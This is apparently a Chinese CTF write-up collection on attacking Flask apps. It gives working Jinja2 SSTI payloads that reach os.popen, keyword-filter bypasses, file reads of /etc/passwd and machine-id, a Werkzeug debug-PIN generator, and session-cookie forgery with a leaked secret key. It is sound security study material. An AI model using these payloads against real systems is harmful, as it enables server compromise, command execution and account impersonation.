[toc]
菜鸡刚接触 flask 不久,在此自不量力地总结一波flask的漏洞利用
概述
以下的总结,源于本人刷题过程中的摘录
目前遇到的flask漏洞,主要是三类
jinja2 模板注入
PIN 码 rce
session 伪造
知识点汇总 这里是以 flask 漏洞利用为主题的 知识点总结
flask基础 要想利用好flask 首先需要一定的知识储备
以下是关乎主题的 flask 基础知识
jinja2 ssti jinja2 模板注入
python base 先要掌握一些 关乎主题的 python 基础知识
ssti tricks 然后就是各种tricks了
PIN rce PIN 的概念,和利用的脚本
重要的是理解怎么利用 PIN 进行 rce
session forgery session 伪造的脚本,至于客户端session 的危害,可以参考p神的文章
重要的是意识到 flask 的session 的脆弱,并会跑脚本
https://github.com/noraj/flask-session-cookie-manager
session伪造的项目,使用这个脚本可以实现 encode 和 decode
https://www.leavesongs.com/PENETRATION/client-session-security.html
p神对 客户端 session 的探究
实战
以下是一些关于 flask 的web 题的解题思路
[GYCTF2020]FlaskApp 在decode 随便输入
可以看到开了 debug 模式
用到 render_template_string ,有ssti
试试看
没问题
那就开始注入
先确定一波它拦截了什么
跑个脚本,找找 __builtins__
1 2 {{().__class__.__mro__ [1].__subclasses__()[75].__init__.__globals__}} e3soKS5fX2NsYXNzX18uX19tcm9fX1sxXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX319
用 open 来读读源码,估计是app.py
1 2 3 b64encode(r""" {{().__class__.__mro__ [1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']("app.py" ).read()}} """) e3soKS5fX2NsYXNzX18uX19tcm9fX1sxXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ29wZW4nXSgiYXBwLnB5IikucmVhZCgpfX0=
整理一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from flaskimport Flask, render_template_string from flaskimport render_template, request, flash, redirect, url_for from flask_wtfimport FlaskForm from wtformsimport StringField, SubmitField from wtforms.validatorsimport DataRequired from flask_bootstrapimport Bootstrapimport base64 app = Flask(__name__) app.config['SECRET_KEY' ] = 's_e_c_r_e_t_k_e_y' bootstrap = Bootstrap(app) class NameForm (FlaskForm ): text = StringField('BASE64加密' , validators = [DataRequired()]) submit = SubmitField('提交' ) class NameForm1 (FlaskForm ): text = StringField('BASE64解密' , validators = [DataRequired()]) submit = SubmitField('提交' ) def waf (str ): black_list = ["flag" , "os" , "system" , "popen" , "import" , "eval" , "chr" , "request" , "subprocess" , "commands" , "socket" , "hex" , "base64" , "*" , "?" ] for x in black_list: if x in str .lower(): return 1 @app.route('/hint' , methods = ['GET' ] ) def hint (): txt = "失败乃成功之母!!" return render_template("hint.html" , txt = txt) @app.route('/' , methods = ['POST' , 'GET' ] ) def encode (): if request.values.get('text' ): text = request.values.get("text" ) text_decode = base64.b64encode(text.encode()) tmp = "结果 :{0}" .format (str (text_decode.decode())) res = render_template_string(tmp) flash(tmp) return redirect(url_for('encode' )) else : text = "" form = NameForm(text) return render_template("index.html" , form = form, method = "加密" , img = "flask.png" ) @app.route('/decode' , methods = ['POST' , 'GET' ] ) def decode (): if request.values.get('text' ): text = request.values.get("text" ) text_decode = base64.b64decode(text.encode()) tmp = "结果 : {0}" .format (text_decode.decode()) if waf(tmp): flash("no no no !!" ) return redirect(url_for('decode' )) res = render_template_string(tmp) flash(res) return redirect(url_for('decode' )) else : text = "" form = NameForm1(text) return render_template("index.html" , form = form, method = "解密" , img = "flask1.png" ) @app.route('/<name>' , methods = ['GET' ] ) def not_found (name ): return render_template("404.html" , name = name) if __name__ == '__main__' : app.run(host = "0.0.0.0" , port = 5000 , debug = True )
1 black_list = ["flag" , "os" , "system" , "popen" , "import" , "eval" , "chr" , "request" , "subprocess" , "commands" , "socket" , "hex" , "base64" , "*" , "?" ]
但是可以通过字符拼接绕过
1 2 3 b64encode(r""" {{().__class__.__mro__ [1].__subclasses__()[75].__init__.__globals__['__builtins__']['__impor'+'t__']('o' +'s' )['po'+'pen']("ls" ).read()}} """) e3soKS5fX2NsYXNzX18uX19tcm9fX1sxXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ19faW1wb3InKyd0X18nXSgnbycrJ3MnKVsncG8nKydwZW4nXSgibHMiKS5yZWFkKCl9fQ==
接下来就去找flag
1 "cat /this_is_the_fl" + "ag.txt"
1 flag {44 a183de-8167 -4881 -8161 -492418541045 }
也可以用 pin 来 rce
在hint 中就有提示
试试看
先确定要素
app.py 的位置
1 /usr/ local/lib/ python3.7 /site-packages/ flask/app.py
读一读 /etc/passwd
1 2 3 b64encode(r""" {{().__class__.__mro__ [1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('/etc/passwd' ).read()}} """) e3soKS5fX2NsYXNzX18uX19tcm9fX1sxXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ29wZW4nXSgnL2V0Yy9wYXNzd2QnKS5yZWFkKCl9fQ==
猜测username
1 flaskweb: x: 1000 : 1000 : :/home/flaskweb :/bin/sh
看看 machine-id
1 b64encode(r""" {{().__class__.__mro__ [1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('/proc/self/cgroup' ).read()}} """)
1 940 dec83 f9 c 962 beb9 b36e3 ea1998021954 fd83 ce1539 eac285 c 2 d49024 fd3 fb
看看mac地址
1 b64encode(r""" {{().__class__.__mro__ [1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('/sys/class/net/eth0/address' ).read()}} """)
处理一下
计算pin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import hashlibfrom itertools import chainprobably_public_bits = [ 'flaskweb' , 'flask.app' , 'Flask' , '/usr/local/lib/python3.7/site-packages/flask/app.py' ] private_bits = [ '2485377864284' , '940dec83f9c962beb9b36e3ea1998021954fd83ce1539eac285c2d49024fd3fb' ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv =None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = num print (rv)
得到flag
1 flag {44 a183de-8167 -4881 -8161 -492418541045 }
[CSCCTF 2019 Qual]FlaskLight
很粗糙的一个网站
get 参数,为 search
没有太大问题
这里也没问题
跑个脚本,找可用的模块
发现拦截了 globals
但是可以通过拼接字符串绕过
1 ?search= {{().__class__.__mro__ [1].__subclasses__()[59].__init__["__glob"%2b"als__"]["__builtins__"]["__import__"]("os" ).popen("ls" ).read()}}
找flag
1 flag {b61df7f6-3 e3a-4 edc-89 e3-65 e530575069}
[RootersCTF2019]I_<3_Flask 感觉没有下手的地方
尝试,发现参数
没有过滤什么
直接跑脚本,找到可用的模块
1 ?name= {{().__class__.__mro__ [1].__subclasses__()[105].__init__.__globals__['__builtins__']['__import__']('os' ).popen('ls' ).read()}}
得到flag
1 flag{aadcb791 -f3 f4 -49 f4 -ad52 -a2 c 9 b538 c 4 ff}
[pasecactf_2019]flask_ssti
很直白,就是考ssti
但是有拦截
可以绕过
1 2 3 Cookie: UM_distinctid=17705637df30-08003bc12e4fd68-4c3f207e-e1000-17705637df4b3; a=__class__; base=__base__; sub=__subclasses__; init=__init__; globals=__globals__; builtins=__builtins__; getitem=__getitem__; eval=eval; import=__import__; popen=popen; read=read nickname= {{()[request|attr("cookies")|attr("get ")("a")] |attr(request |attr("cookies" )|attr("get " )("base" ))|attr(request |attr("cookies" )|attr("get " )("sub" ))()|attr("pop" )(132 )|attr(request |attr("cookies" )|attr("get " )("init" ))|attr(request |attr("cookies" )|attr("get " )("globals" ))|attr(request |attr("cookies" )|attr("get " )("getitem" ))(request |attr("cookies" )|attr("get " )("builtins" ))|attr(request |attr("cookies" )|attr("get " )("getitem" ))(request |attr("cookies" )|attr("get " )("import" ))("os" )|attr(request |attr("cookies" )|attr("get " )("popen" ))("ls /" )|attr(request |attr("cookies" )|attr("get " )("read" ))()}}
找flag
看源码
1 2 3 4 5 6 7 8 9 10 11 def encode (line, key, key2 ): return '' .join(chr (x ^ ord (line[x]) ^ ord (key[::-1 ][x]) ^ ord (key2[x])) for x in range (len (line))) file = open ("/app/flag" , "r" ) flag = file.read() flag = flag[:42 ] app.config['flag' ] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3' , 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT' ) flag = "" os.remove("/app/flag" )
可见flag在 config 当中
1 'flag': '-M7 \x 10 wH6 l0 \x 04 k~\x 0 e\x 1 eXj\x 00 (DIH\x 0 b\x 17 !3 \x 04 i\x 02 XG\x 0 b \x 05 z*Ej\x 13 \x 0 fKG'}
要逆向
实际上,只不过用到了 ^ 的性质,很简单
1 flag {94 bb4285-ac07-4 ab5-88 d9-41 c57a4a250d}
[HCTF 2018]admin 试试看注册一个username为admin的账户,果然返回admin被注册了
所以先随便注册一个
有一个/post可以访问,但是用hello账号访问时404notfound,猜测用admin登录会得到flag
还可以修改密码
这时候就有思路了,可以修改admin账户的密码,或者注册一个 admin’#之类的账户
先试试看改密码
可能是根据session来判断身份的
试试看抓注册的包
经过尝试,发现注册的时候可能存在注入点
估计是执行insert语句,然后报错了
猜测一下后端代码,但是值得注意的是后端估计不是php开发的,大概率是python
1 2 3 4 5 6 7 8 9 username = req.params["username" ] password = req.params["password" ] check = "SELECT username from user_table where username='" +username+"'" r = mysql_exec(conn,check) if len (r)!=0 : erro() insert = "INSERT user_table (username,password) values ('{%s}','{%s})" %(username,password) r = mysql_exec(insert) redirect()
如果有两步的话,就不知道这报错是第一步还是第二步的
所以最好把引号给闭合了
这样的话,估计就有一个username 为1的账号
但是报错了,估计用的是双引号
又报错了,感觉没戏
又来到change password页面,看看源码,看到一段注释
访问一下
是源码
可以看到,index.html有对session[‘name’]进行判断,如果是admin,就会显示flag
从而可以确定了,sql注入应该是没戏了
用到了flask,可以解密session看看session是基于什么东西生成的
https://github.com/noraj/flask-session-cookie-manager
有专门的项目,破解flask的session
1 Cookie : UM_distinctid=17705637 df30-08003 bc12e4fd68-4 c3f207e-e1000-17705637 df4b3; session=.eJw9kM2KwkAQBl9l6bMHjXoJeIhMFA89wdCbMH0R18Qk86OQKBtHfPcdXPD80VVUP-Fw7uuhhfjW3-sJHLoK4id8_UAMvFUj-qqTYmOkTj1G6TKjtctE5ZDWOqPTQ1LVZYINi8KgLixrXEjHWlIyZ6emTHmryr2XwlqM9lPlc40-d1wWLQsVsT7NM1IP5ZuHFMZLSpeqVDMV7UYWlUGhFlLI4GsipqplV3S8za2ixKNTI2u20qUreE3gNPTnw-1 q6ssnAX3imcKJC1q90Si-x6AIaBkQIY1yHVTzkGS4xF8mHDlZvXGdOzb1h1SYnS-b_-VydGGAtrb2ChO4D3X__hvMpvD6A7Ahb0Y.YBpCBQ.i3fX74MZZnyRO42VjT24cXjoQls
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import sysimport zlibfrom base64 import b64decodefrom flask.sessions import session_json_serializerfrom itsdangerous import base64_decodedef decryption (payload ): payload, sig = payload.rsplit(b'.' , 1 ) payload, timestamp = payload.rsplit(b'.' , 1 ) decompress = False if payload.startswith(b'.' ): payload = payload[1 :] decompress = True try : payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception' ) if decompress: try : payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload' ) return session_json_serializer.loads(payload) if __name__ == '__main__' : session = ".eJw9kM2KwkAQBl9l6bMHjXoJeIhMFA89wdCbMH0R18Qk86OQKBtHfPcdXPD80VVUP-Fw7uuhhfjW3-sJHLoK4id8_UAMvFUj-qqTYmOkTj1G6TKjtctE5ZDWOqPTQ1LVZYINi8KgLixrXEjHWlIyZ6emTHmryr2XwlqM9lPlc40-d1wWLQsVsT7NM1IP5ZuHFMZLSpeqVDMV7UYWlUGhFlLI4GsipqplV3S8za2ixKNTI2u20qUreE3gNPTnw-1q6ssnAX3imcKJC1q90Si-x6AIaBkQIY1yHVTzkGS4xF8mHDlZvXGdOzb1h1SYnS-b_-VydGGAtrb2ChO4D3X__hvMpvD6A7Ahb0Y.YBpCBQ.i3fX74MZZnyRO42VjT24cXjoQls" print (decryption(session.encode()))
得到
1 {'_fresh': True, '_id': b'df137b41d6133 a990f87f10c9725 7b86dd5d25ef386fc507ff4e4aad349e3d4c4c34feead66f7796 2c82493519 af5cb1d7d0684 3f186e7afebddea032f1f6e6a', 'csrf_token': b'303e5bfdc21c051511 d3ea7b54ccb787dec0e31d', 'image': b'VB3Z', 'name': 'hello', 'user_id': '10'}
可见,用户名hello就在这里面
如果把name的值设为admin,然后生成一个session,就可以冒充admin登录了
要生成session
去config.py中找到secret_key
1 SECRET_KEY = os.environ.get('SECRET_KEY' ) or 'ckj123'
所以secret_key可以是ckj123
接下来生成session
1 ython .\flask_session_cookie_manager3.py encode -s 'ckj123' -t "{'_fresh' : True, '_id' : b'df137b41d6133a990f87f10c97257b86dd5d25ef386fc507ff4e4aad349e3d4c4c34feead66f77962c82493519af5cb1d7d06843f186e7afebddea032f1f6e6a' , 'csrf_token' : b'303e5bfdc21c051511d3ea7b54ccb787dec0e31d' , 'image' : b'VB3Z' , 'name' : 'admin' , 'user_id' : '10' }"
1 .eJw9 kEGLwjAQRv_KMmcPWvUieKikiodJscy2 ZC6 iprZNGhdaZduI_32 DC54 _5 j3 ePOF47 cq-htW9 e5 QTODYaVk_4 OsMKeKcG9 LqRYmulSTxGyTKljUuFdkgbk9 JllKSbVLBlkVs0 ecsGF9 KxkRTP2 akpU1 ar4 uClaFuMDlPlM4 M-c1 zkNQsVsbnMU1 Kj8 tUohfWSkqUq1 ExF-4 GFtijUQgoZfFXEpGt2 ecO7 rFUUe3 RqYMOtdMkaXhO49 N31 eP-x5 e2 TgD72 TOHEBa3 ZGhTfQ1 AEtAyIkEaZCap5 SLJc4 C8 TDhyv37 jGnaryQ8 rt3 hfV_3 I7 uTDASbvmBhN49 GX3 _hvMpvD6 A687 bzs.YBpIKQ.aaxBjEPHdpKgsH2 V5 x99 lnRWIHI
然后就可以去伪造了
1 flag {3 bec85bf-8725 -4 f38-8 d68-5 dd5fc969c9e}
[neuqcsa二月月赛] ezflask 从login的框框中输入一个东西,比如admin,然后这个admin就被打印在了页面上,猜测这个输入的username就是ssti的注入点
试试看其他的
看来是引号被过滤了
1 name= {{request.args.a }} /user?a=hello
但是没有过滤request.args
过滤了[
但是可以用 |attr来取元素
1 2 name= {{()|attr (request.args.a )}} /user?a=__class__
1 name= {{()|attr (request.args.a )|attr(request.args.b )}}
一切正常
1 name= {{()|attr (request.args.a )|attr(request.args.b ).pop(1 )}}
貌似但凡出现数字就被拦截
但是由于返回的实际上是tuple,所以不能用pop方法
1 name= {{()|attr (request.args.a )|attr(request.args.b )|attr(request.args.a )}}
1 2 name= {{()|attr (request.args.a )|attr(request.args.b )|attr(request.args.c )()|attr(request.args.a )}} /user?a=__class__&b=__base__&c=__subclasses__
新进展,用 __base__
拦截了数字
搜索之后,发现可以用 |int 来将字符串转换成 int
好像很难找到有 __builtins__
的模块
1 name= {{()|attr (request.args.a )|attr(request.args.b )|attr(request.args.c )()|attr(request.args.d )(request.args.g |int)|attr(request.args.e )|attr(request.args.f )}}
1 2 name= {{()|attr (request.args.a )|attr(request.args.b )|attr(request.args.c )()}} ?a=__class__&b=__base__&c=__subclasses__&d=pop&e=__init__&f=__globals__&g=128&h=__builtins__&i=__getitem__
找到python3常用的类
但是它的 __init__
竟让没有__globals__
看看它的globals
1 2 3 name= {{()|attr (request.args.a )|attr(request.args.b )|attr(request.args.c )()|attr(request.args.d )(request.args.g |int)|attr(request.args.e )|attr(request.args.f )}} ?a=__class__&b=__base__&c=__subclasses__&d=pop&e=__init__&f=__globals__&g=127&h=__builtins__&i=__getitem__&j=popen
没有
换一个
1 2 warnings .WarningMessage176
看看它的globals
1 name= {{()|attr (request.args.a )|attr(request.args.b )|attr(request.args.c )()|attr(request.args.d )(request.args.g |int)|attr(request.args.e )|attr(request.args.f )}}
也没有
都没有,最后发现,只有两个有globals
一个是 g=128,一个是g=129
128
1 {'__name__' : '_sitebuiltins' , '__doc__' : '\nThe objects used by the site module to add custom builtins.\n' , '__package__' : '' , '__loader__' : <_f rozen_ importlib_ external.SourceFileLoader object at 0 x7f 0 e0 ce90f 90 >, '__spec__' : ModuleSpec(name='_sitebuiltins' , loader=<_f rozen_ importlib_ external.SourceFileLoader object at 0 x7f 0 e0 ce90f 90 >, origin='/usr/local/lib/python3.7/_sitebuiltins.py' ), '__file__' : '/usr/local/lib/python3.7/_sitebuiltins.py' , '__cached__' : '/usr/local/lib/python3.7/__pycache__/_sitebuiltins.cpython-37.pyc' , 'sys' : <module 'sys' (built-in )>, 'Quitter' : <class '_sitebuiltins.Quitter' >, '_Printer' : <class '_sitebuiltins._Printer' >, '_Helper' : <class '_sitebuiltins._Helper' >}
129
1 {'__name__' : '_sitebuiltins' , '__doc__' : '\nThe objects used by the site module to add custom builtins.\n' , '__package__' : '' , '__loader__' : <_f rozen_ importlib_ external.SourceFileLoader object at 0 x7f 0 e0 ce90f 90 >, '__spec__' : ModuleSpec(name='_sitebuiltins' , loader=<_f rozen_ importlib_ external.SourceFileLoader object at 0 x7f 0 e0 ce90f 90 >, origin='/usr/local/lib/python3.7/_sitebuiltins.py' ), '__file__' : '/usr/local/lib/python3.7/_sitebuiltins.py' , '__cached__' : '/usr/local/lib/python3.7/__pycache__/_sitebuiltins.cpython-37.pyc' , 'sys' : <module 'sys' (built-in )>, 'Quitter' : <class '_sitebuiltins.Quitter' >, '_Printer' : <class '_sitebuiltins._Printer' >, '_Helper' : <class '_sitebuiltins._Helper' >}
是python3.7写的
有一个sys模块
sys有一个 modules属性
试试看,看看里面有什么
1 name= {{()|attr (request.args.a )|attr(request.args.b )|attr(request.args.c )()|attr(request.args.d )(request.args.g |int)|attr(request.args.e )|attr(request.args.f )|attr(request.args.i )(request.args.j )|attr(request.args.m )}}
1 /user?a=__class__&b =__base__&c =__subclasses__&d =pop&e =__init__&f =__globals__&g =128 &h =__builtins__&i =__getitem__&j =sys&m =modules
1 2 {'sys' : <module 'sys' >, 'builtins' : <module 'builtins' >, '_frozen_importlib' : <module 'importlib._bootstrap' >, '_imp' : <module '_imp' >, '_thread' : <module '_thread' >, '_warnings' : <module '_warnings' >, '_weakref' : <module '_weakref' >, 'zipimport' : <module 'zipimport' >, '_frozen_importlib_external' : <module 'importlib._bootstrap_external' >, '_io' : <module 'io' >, 'marshal' : <module 'marshal' >, 'posix' : <module 'posix' >, 'encodings' : <module 'encodings' from '/usr/local/lib/python3.7/encodings/__init__.py' >, 'codecs' : <module 'codecs' from '/usr/local/lib/python3.7/codecs.py' >, '_codecs' : <module '_codecs' >, 'encodings.aliases' : <module 'encodings.aliases' from ............
在上面这些modules中找出os
确实有
尝试一下
貌似问题不大
试试看调用它的__class__
发现确确实实是个class,试试看
先执行这个
1 2 3 name= {{()|attr (request.args.a )|attr(request.args.b )|attr(request.args.c )()|attr(request.args.d )(request.args.g |int)|attr(request.args.e )|attr(request.args.f )|attr(request.args.i )(request.args.j )|attr(request.args.m )|attr(request.args.i )(request.args.o )|attr(request.args.p )(request.args.ls )|attr(request.args.read )()}} /user?a=__class__&b=__base__&c=__subclasses__&d=pop&e=__init__&f=__globals__&g=128&h=__builtins__&i=__getitem__&j=sys&m=modules&o=os&p=popen&ls=ls&read=read
成功了
成功执行了命令
接下来就去找flag了
找到了flag,在根目录下
/flag.txt
1 2 3 ?a=__class__&b=__base__&c=__subclasses__&d=pop&e=__init__&f=__globals__&g=128&h=__builtins__&i=__getitem__&j=sys&m=modules&o=os&p=popen&ls=cat+/flag.txt&read=read name= {{()|attr (request.args.a )|attr(request.args.b )|attr(request.args.c )()|attr(request.args.d )(request.args.g |int)|attr(request.args.e )|attr(request.args.f )|attr(request.args.i )(request.args.j )|attr(request.args.m )|attr(request.args.i )(request.args.o )|attr(request.args.p )(request.args.ls )|attr(request.args.read )()}}
得到flag
1 flag{Ssti_1s_dang3r0us!!!!}
推荐阅读 jinja2 模板注入
https://0day.work/jinja2-template-injection-filter-bypasses/
介绍了很多实用的bypass,包括但不限于 _
、[]
https://jinja.palletsprojects.com/en/2.11.x/
jinja2 官方文档,探究源码有助于发掘并利用漏洞
https://houwenda.github.io/2020/02/22/jinja2-ssti/
https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/
作者尝试对 jinja2 ssti 做了全面的总结
http://docs.jinkan.org/docs/flask/index.html
flask 官方文档,有问题,就看官方文档
PIN 码 rce
https://xz.aliyun.com/t/2553
讲解了Flask debug pin安全问题,即漏洞的利用与原理
session 伪造
https://github.com/noraj/flask-session-cookie-manager
session伪造的项目,使用这个脚本可以实现 encode 和 decode
https://www.leavesongs.com/PENETRATION/client-session-security.html
p神对 客户端 session 的探究